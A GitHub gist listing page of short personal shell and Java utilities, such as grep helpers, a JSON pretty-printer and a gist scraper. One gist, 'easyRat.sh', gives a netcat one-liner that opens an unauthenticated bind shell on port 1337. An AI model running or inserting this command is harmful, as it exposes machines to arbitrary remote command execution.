Skip to content

Instantly share code, notes, and snippets.

@joshbooks
joshbooks / multiLineMatch.sh
Created April 29, 2019 01:06
multiline matching without pcregrep
#/bin/bash
# avoid adding pcregrep as dependency for simple matching across
# not too many lines (I'd guess performance is going to start degrading
# at around 100??)
# returns number of lines of input for which we didn't find a contiguous
# match in the file provided
# emits the lines in the file that were matched by the multi line pattern
# provided
multiLineMatch() {
@joshbooks
joshbooks / resizeMethod
Created March 13, 2019 03:19
very atomic, much compare and swap
public class AtomicResizingLongArray
{
private volatile long[][] masterList;
// atomic updater for the master list, we use this instead of an
// AtomicReference because we don't always need to access the masterList
// atomically
private static final AtomicReferenceFieldUpdater
<
AtomicResizingLongArray,
long[][]
@joshbooks
joshbooks / vimFind.sh
Created January 5, 2019 00:38
vim a file with a known name at an unknown location in a large directory
#!/bin/bash
# sample usage: vimFind.sh unambiguousFileName.c
# will run vim ./some/obscure/directory/unambiguousFileName.c
vim `find . -name "$@"`
@joshbooks
joshbooks / easyRat.sh
Created December 8, 2018 01:35
super quick super dirty remote access
mkfifo .nc_pipe; nc -l 1337 < .nc_pipe | bash > .nc_pipe &
@joshbooks
joshbooks / prettyJson.sh
Created November 29, 2018 22:46
pretty print json
#!/bin/bash
sed -e 's/\([{},]\)/\n\1\n/g' | awk '/\{/ {s += 1} /\}/ {s -= 1} {printf "%*s %s\n", s*2, "", $0}'
@joshbooks
joshbooks / listToGrep.sh
Last active November 30, 2018 02:31
turn a file containing a string on each line into a grep command for a union of those strings
# Takes three arguments, the file to turn into a grep command, a filename to create
# the grep command in, and a file to grep
cat $1 | awk 'NR == 1 {printf "egrep \"("; str=$0} NR>1 {printf str"|"; str=$0} END {printf str")\" $3 \n"}' > $2
chmod +x $2
@joshbooks
joshbooks / orStuffTogether.sh
Created October 30, 2018 20:06
Or a bunch of flags together
#!/bin/bash
acc=0
printf "First int to be or'd[1, 0x1]:"
while read input
do
acc=$[$acc | $input]
printf "%0x\n" $acc
printf "Next int to be or'd[1, 0x1, b1]:"
done
@joshbooks
joshbooks / gistGetter.sh
Created October 29, 2018 04:54
Gist to get gists
#!/bin/bash
pageNumber=1
while [[ 1 ]]
do
read -ra jsGistUrls <<< `curl "https://api.github.com/gists/public?page=$pageNumber&per_page=100" | jq -c ".[].files" | sed 's/.*raw_url":"\([^"]*\).*/\1/' | grep ".js$"`
echo "Length of array is ${#jsGistUrls[@]}"
if [[ ${#jsGistUrls[@]} == 0 ]]
@joshbooks
joshbooks / findWindowsWithCpp.sh
Created October 25, 2018 01:24
Find all occurrences of windows code including cpp code
#!/bin/bash
#find all occurences of windows code including cpp code
# cpp/code has some cpp code, src/msvs has windows code
find src/cpp/code/ -name "*.h" | sed 's|.*/\([^/]*\)/\([^/]*\)$|\1/\2|' | xargs -I arg grep -r arg src/msvs
@joshbooks
joshbooks / PEqualsNp.java
Created April 6, 2017 19:06
I did a thing, I'm not sure why but the thing is done now
//I did a thing, I'm not sure why but the thing is done now
// https://xkcd.com/287/
import java.security.NoSuchAlgorithmException;
import java.security.SecureRandom;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.concurrent.atomic.AtomicInteger;